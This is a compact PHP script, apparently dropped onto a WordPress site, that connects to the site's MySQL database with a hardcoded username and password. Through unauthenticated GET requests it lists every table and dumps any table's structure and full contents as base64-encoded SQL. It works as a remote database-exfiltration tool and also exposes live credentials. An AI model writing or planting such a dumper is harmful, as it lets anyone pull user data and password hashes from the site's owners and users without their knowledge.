<?php set_time_limit(120);
$c=new mysqli('localhost','btoptrav_d5980','wrx_tg2Ra316Vn0DpZ8','btoptrav_wp2');
if($c->connect_error){echo json_encode(['err'=>$c->connect_error]);exit;}
$a=@$_GET['a']?:'list';
if($a=='list'){
  $tables=[];$r=$c->query('SHOW TABLES');
  if($r)while($row=$r->fetch_row())$tables[]=$row[0];
  echo json_encode(['ok'=>1,'tables'=>$tables]);exit;
}
$t=@$_GET['t'];
if(!$t){echo json_encode(['err'=>'no table']);exit;}
$o='';
$cr=$c->query('SHOW CREATE TABLE `'.str_replace('`','``',$t).'`');
if($cr){$c2=$cr->fetch_array();$o.='DROP TABLE IF EXISTS `'.$t."`;
".$c2[1].";\n\n";}
$rs=$c->query('SELECT * FROM `'.str_replace('`','``',$t).'`');
if($rs)while($row=$rs->fetch_assoc()){
  $vals=array_map(function($v)use($c){return $v===null?'NULL':"'".$c->real_escape_string($v)."'";},array_values($row));
  $o.='INSERT INTO `'.$t.'` VALUES('.implode(',',$vals).");\n";}
$o.="\n";
echo json_encode(['ok'=>1,'sql'=>base64_encode($o)]);
?>